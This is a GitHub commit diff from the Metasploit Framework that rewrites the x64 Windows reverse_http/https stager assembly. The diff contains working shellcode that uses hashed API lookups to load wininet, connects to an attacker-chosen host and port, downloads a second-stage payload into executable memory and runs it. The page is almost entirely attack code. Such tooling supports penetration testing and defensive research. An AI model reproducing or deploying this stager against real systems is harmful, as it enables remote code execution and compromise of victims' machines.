Skip to content

Commit 62720ab

Browse files
committed
Fix the wininet stager for http/s
For some reason this was only working on Windows7/2008, yet when tired on Windows 2012 it was resulting in crashes. It was also stopping working in exploits such as psexec_psh. Went back to the beginning and started again. With this in place, we can now do a bit of shellcode golf to make it a bit smaller. Adjusted payload sizes as well.
1 parent 677acb2 commit 62720ab

File tree

3 files changed

+127
-147
lines changed

3 files changed

+127
-147
lines changed

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 125 additions & 145 deletions
Original file line numberDiff line numberDiff line change
@@ -73,12 +73,12 @@ def generate(opts={})
7373
#
7474
def generate_reverse_http(opts={})
7575
combined_asm = %Q^
76-
cld ; Clear the direction flag.
77-
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
78-
call start ; Call start, this pushes the address of 'api_call' onto the stack.
76+
cld ; Clear the direction flag.
77+
and rsp, ~0xf ; Ensure RSP is 16 byte aligned
78+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
7979
#{asm_block_api}
8080
start:
81-
pop rbp
81+
pop rbp ; rbp now contains the block API pointer
8282
#{asm_reverse_http(opts)}
8383
^
8484
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
@@ -198,190 +198,166 @@ def asm_reverse_http(opts={})
198198
end
199199

200200
asm = %Q^
201-
xor rbx, rbx
202-
203201
load_wininet:
204-
push rbx
202+
push 0 ; stack alignment
205203
mov r14, 'wininet'
206204
push r14 ; Push 'wininet',0 onto the stack
207205
mov r14, rsp ; Save pointer to string
208206
mov rcx, r14 ; the name of the lib to load
209-
mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
207+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
210208
call rbp
211209
212210
internetopen:
211+
push 0 ; stack alignment
212+
push 0 ; NULL pointer
213+
mov rcx, rsp ; lpszAgent ("")
213214
^
214215

215216
if proxy_enabled
216217
asm << %Q^
217-
call get_proxy_server
218-
db "#{proxy_info}", 0x00
219-
get_proxy_server:
220-
pop r8 ; stack pointer (lpszProxyName)
221-
push 3 ; INTERNET_OPEN_TYPE_PROXY = 3 (dwAccessType)
222-
pop rdx
218+
push 3
219+
pop rdx ; dwAccessType (3=INTERNET_OPEN_TYPE_PROXY)
220+
call load_proxy_name
221+
db "#{proxy_info}",0x0 ; proxy information
222+
load_proxy_name:
223+
pop r8 ; lpszProxyName (stack pointer)
223224
^
224225
else
225226
asm << %Q^
226-
xor r8, r8 ; NULL pointer (lpszProxyName)
227-
; the push/pop sequence saves a byte over XOR
228-
push rbx
229-
pop rdx ; PRECONFIG = 0 (dwAccessType)
227+
xor rdx, rdx ; dwAccessType (0=INTERNET_OPEN_TYPE_PRECONFIG)
228+
xor r8, r8 ; lpszProxyName (NULL)
230229
^
231230
end
232231

233232
asm << %Q^
234-
push rbx ; 0 for alignment
235-
push rbx ; 0 for alignment
236-
xor r9, r9 ; NULL pointer (lpszProxyBypass)
237-
mov rcx, rsp ; Empty string pointer (lpszAgent)
238-
push rbx ; 0 (dwFlags)
239-
push rbx ; 0 for alignment
240-
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
233+
xor r9, r9 ; lpszProxyBypass (NULL)
234+
push rax ; stack alignment
235+
push 0 ; dwFlags (0)
236+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
241237
call rbp
242-
^
243238
244-
asm << %Q^
245-
call internetconnect ; puts proxy host pointer on stack
246-
get_server_host:
247-
db "#{opts[:host]}", 0x00
239+
jmp dbl_get_server_host
248240
249241
internetconnect:
250-
pop rdx ; contains proxy host pointer
251-
mov rcx, rax ; HINTERNET (hInternet)
252-
mov r8, #{opts[:port]} ;
253-
xor r9, r9 ; String (lpszUsername)
254-
push rbx ; NULL (dwContext)
255-
push rbx ; 0 (dwFlags)
256-
push 3 ; INTERNET_SERVICE_HTTP (dwService)
257-
push rbx ; 0 for alignment
258-
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
242+
pop rdx ; lpszServerName
243+
mov rcx, rax ; hInternet
244+
mov r8, #{opts[:port]} ; nServerPort
245+
xor r9, r9 ; lpszUsername (NULL)
246+
push r9 ; dwContent (0)
247+
push r9 ; dwFlags (0)
248+
push 3 ; dwService (3=INTERNET_SERVICE_HTTP)
249+
push r9 ; lpszPassword (NULL)
250+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
259251
call rbp
260252
^
261253

262-
if proxy_enabled
263-
# only store connection handle if something is set!
264-
if proxy_user || proxy_pass
265-
asm << %Q^
254+
if proxy_enabled && (proxy_user || proxy_pass)
255+
asm << %Q^
266256
mov rsi, rax ; Store hConnection in rsi
267-
^
268-
end
257+
^
269258

270259
if proxy_user
271260
asm << %Q^
272-
call internetsetoption_proxy_user ; puts proxy_user pointer on stack
273-
get_proxy_user:
261+
call load_proxy_user ; puts proxy_user pointer on stack
274262
db "#{proxy_user}", 0x00
275-
internetsetoption_proxy_user:
276-
pop r8 ; contains proxy_user pointer
277-
mov rcx, rsi ; (hConnection)
278-
push 43 ; INTERNET_OPTION_PROXY_USERNAME
263+
load_proxy_user:
264+
pop r8 ; lpBuffer (stack pointer)
265+
mov rcx, rsi ; hConnection (connection handle)
266+
push 43 ; (43=INTERNET_OPTION_PROXY_USERNAME)
279267
pop rdx
280-
push #{proxy_user.length} ; proxy_user length
268+
push #{proxy_user.length} ; dwBufferLength (proxy_user length)
281269
pop r9
282-
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
283-
; TODO: Without these pushes, things crashed. Not sure why.
284-
push rbx ; 0 for alignment
285-
push rbx ; 0 for alignment
270+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
286271
call rbp
287272
^
288273
end
289274

290275
if proxy_pass
291276
asm << %Q^
292-
call internetsetoption_proxy_pass ; puts proxy_pass pointer on stack
293-
get_proxy_pass:
277+
call load_proxy_pass ; puts proxy_pass pointer on stack
294278
db "#{proxy_pass}", 0x00
295-
internetsetoption_proxy_pass:
296-
pop r8 ; contains proxy_pass pointer
297-
mov rcx, rsi ; (hConnection)
298-
push 44 ; INTERNET_OPTION_PROXY_PASSWORD
279+
load_proxy_pass:
280+
pop r8 ; lpBuffer (stack pointer)
281+
mov rcx, rsi ; hConnection (connection handle)
282+
push 44 ; (43=INTERNET_OPTION_PROXY_PASSWORD)
299283
pop rdx
300-
push #{proxy_pass.length} ; proxy_pass length
284+
push #{proxy_pass.length} ; dwBufferLength (proxy_pass length)
301285
pop r9
302-
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
303-
; TODO: Without these pushes, things crashed. Not sure why.
304-
push rbx ; 0 for alignment
305-
push rbx ; 0 for alignment
286+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
306287
call rbp
307288
^
308289
end
309290

310-
if proxy_user || proxy_pass
311-
asm << %Q^
291+
asm << %Q^
312292
mov rax, rsi ; Restore hConnection in rax
313-
^
314-
end
293+
^
315294
end
316295

317296
asm << %Q^
318-
call httpopenrequest
319-
get_server_uri:
320-
db "#{opts[:url]}",0x00
297+
298+
jmp get_server_uri
321299
322300
httpopenrequest:
323-
pop r8 ; String (lpszObjectName)
324-
mov rcx, rax ; HINTERNET (hConnect)
325-
; the push/pop sequence saves a byte over XOR
326-
push rbx
327-
pop rdx ; NULL pointer (lpszVerb)
328-
xor r9, r9 ; String (lpszVersion)
329-
push rbx ; 0 (dwContext)
330-
; TODO: figure out what's going on here (get help from HD?)
331-
; Having to use mov + push instead of push qword because
332-
; Metasm doesn't seem to like it. Plain 'push' doesn't work
333-
; because of an overflow error.
334-
;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags)
335-
mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags)
301+
mov rcx, rax ; hConnect
302+
xor rdx, rdx ; lpszVerb (NULL=GET)
303+
pop r8 ; lpszObjectName (URI)
304+
xor r9, r9 ; lpszVersion (NULL)
305+
push rdx ; dwContext (0)
306+
mov r10, #{"0x%.8x" % http_open_flags} ; dwFlags
336307
push r10
337-
push rbx ; NULL pointer (lplpszAcceptTypes)
338-
push rbx ; NULL pointer (lpszReferer)
339-
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
308+
push rdx ; lplpszAcceptType (NULL)
309+
push rdx ; lpszReferer (NULL)
310+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
340311
call rbp
341-
mov rsi, rax ; Store the request handle in RSI
342312
343-
retry_setup:
313+
prepare:
314+
mov rsi, rax
344315
push #{retry_count}
345316
pop rdi
346317
347-
retry:
348-
^
318+
retryrequest:
319+
^
349320

350321
if opts[:ssl]
351322
asm << %Q^
352-
internetsetoption_ssl:
353-
mov rcx, rsi ; (hInternet)
354-
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
355-
pop rdx
356-
push rbx ; 0 for alignment
357-
push #{set_option_flags} ; (dwFlags)
358-
mov r8, rsp
359-
push 4 ; sizeof(dwFlags)
360-
pop r9
361-
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
323+
internetsetoption:
324+
mov rcx, rsi ; hInternet (request handle)
325+
mov rdx, 31 ; dwOption (31=INTERNET_OPTION_SECURITY_FLAG)
326+
push 0 ; stack alignment
327+
push #{"0x%.8x" % set_option_flags} ; flags
328+
mov r8, rsp ; lpBuffer (pointer to flags)
329+
mov r9, 4 ; dwBufferLength (4 = size of flags)
330+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
362331
call rbp
363332
^
364333
end
365334

366335
asm << %Q^
367336
httpsendrequest:
368-
mov rcx, rsi ; HINTERNET (hRequest)
369-
; the push/pop sequence saves a byte over XOR
370-
push rbx
371-
pop rdx ; NULL pointer (lpszHeaders)
372-
xor r8, r8 ; 0 (dwHeadersLength)
373-
xor r9, r9 ; NULL pointer (lpOptional)
374-
push rbx ; 0 for alignment
375-
push rbx ; 0 (dwOptionalLength)
376-
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
337+
mov rcx, rsi ; hRequest (request handle)
338+
xor rdx, rdx ; lpszHeaders (NULL)
339+
xor r8, r8 ; dwHeadersLen (0)
340+
xor r9, r9 ; lpszVersion (NULL)
341+
push rdx ; stack alignment
342+
push rdx ; dwOptionalLength (0)
343+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
377344
call rbp
378-
test eax, eax ; use eax, it's 1 byte less than rax
345+
test eax, eax
379346
jnz allocate_memory
380347
381348
try_it_again:
382-
dec edi ; use edi, it's 1 byte less than rdi
349+
dec rdi
383350
jz failure
384-
jmp retry
351+
jmp retryrequest
352+
353+
dbl_get_server_host:
354+
jmp get_server_host
355+
356+
get_server_uri:
357+
call httpopenrequest
358+
359+
server_uri:
360+
db "#{opts[:url]}",0x0
385361
^
386362

387363
if opts[:exitfunk]
@@ -392,52 +368,56 @@ def asm_reverse_http(opts={})
392368
else
393369
asm << %Q^
394370
failure:
395-
push 0x56A2B5F0 ; hardcoded to exitprocess for size
371+
push 0 ; stack alignment
372+
push 0x56A2B5F0 ; hardcoded to exitprocess for size
396373
call rbp
397374
^
398375
end
399376

400377
asm << %Q^
401378
allocate_memory:
402-
; the push/pop sequence saves a byte over XOR
403-
push rbx
404-
pop rcx ; NULL pointer (lpAddress)
405-
mov rdx, 0x00400000 ; SIZE_T (dwSize)
406-
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
407-
push 0x40
408-
pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
409-
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
410-
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
379+
xor rcx, rcx ; lpAddress (NULL)
380+
mov rdx, 0x00400000 ; dwSize (4 MB)
381+
mov r8, 0x1000 ; flAllocationType (0x1000=MEM_COMMIT)
382+
mov r9, 0x40 ; flProtect (0x40=PAGE_EXECUTE_READWRITE)
383+
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
384+
call rbp
411385
412386
download_prep:
413-
xchg rax, rbx ; place the allocated base address in ebx
414-
push rbx ; store a copy of the stage base address on the stack
415-
push rbx ; temporary storage for bytes read count
416-
mov rdi, rsp ; &bytesRead
387+
xchg rax, rbx ; store the allocated base in rbx
388+
push rbx ; store a copy for later
389+
push rbx ; temp storage for byte count
390+
mov rdi, rsp ; rdi is the &bytesRead
417391
418392
download_more:
419-
mov rcx, rsi ; HINTERNET (hFile)
420-
mov rdx, rbx ; (lpBuffer)
421-
mov r8, 8192 ; (dwNumberOfBytesToRead)
422-
mov r9, rdi ; (lpNumberOfBytesRead)
423-
mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
393+
mov rcx, rsi ; hFile (request handle)
394+
mov rdx, rbx ; lpBuffer (pointer to mem)
395+
mov r8, 8192 ; dwNumberOfBytesToRead (8k)
396+
mov r9, rdi ; lpdwNumberOfByteRead (stack pointer)
397+
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
424398
call rbp
425-
add rsp, 32 ; clean up reserved space
399+
add rsp, 32 ; clean up reserved space
426400
427-
test eax, eax ; did the download fail?
401+
test eax, eax ; did the download fail?
428402
jz failure
429403
430-
mov ax, word ptr [rdi]
431-
; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
432-
add ebx, eax ; buffer += lpNumberOfBytesRead
404+
mov ax, word ptr [rdi] ; extract the read byte count
405+
add rbx, rax ; buffer += bytes read
433406
434-
test eax, eax ; use eax instead of rax, saves a byte
435-
jnz download_more ; loop until 0 is returned
436-
pop rax ; clear temp storage
437-
pop rax ; alignment
407+
test rax, rax ; are we done?
408+
jnz download_more ; keep going
409+
pop rax ; clear up reserved space
410+
pop rax ; realign again
438411
439412
execute_stage:
440-
ret ; dive into the stored stage address
413+
ret ; return to the stored stage address
414+
415+
get_server_host:
416+
call internetconnect
417+
418+
server_host:
419+
db "#{opts[:host]}",0x0
420+
441421
^
442422

443423
if opts[:exitfunk]

modules/payloads/stagers/windows/x64/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 491
12+
CachedSize = 520
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/x64/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 522
12+
CachedSize = 562
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

0 commit comments

Comments
 (0)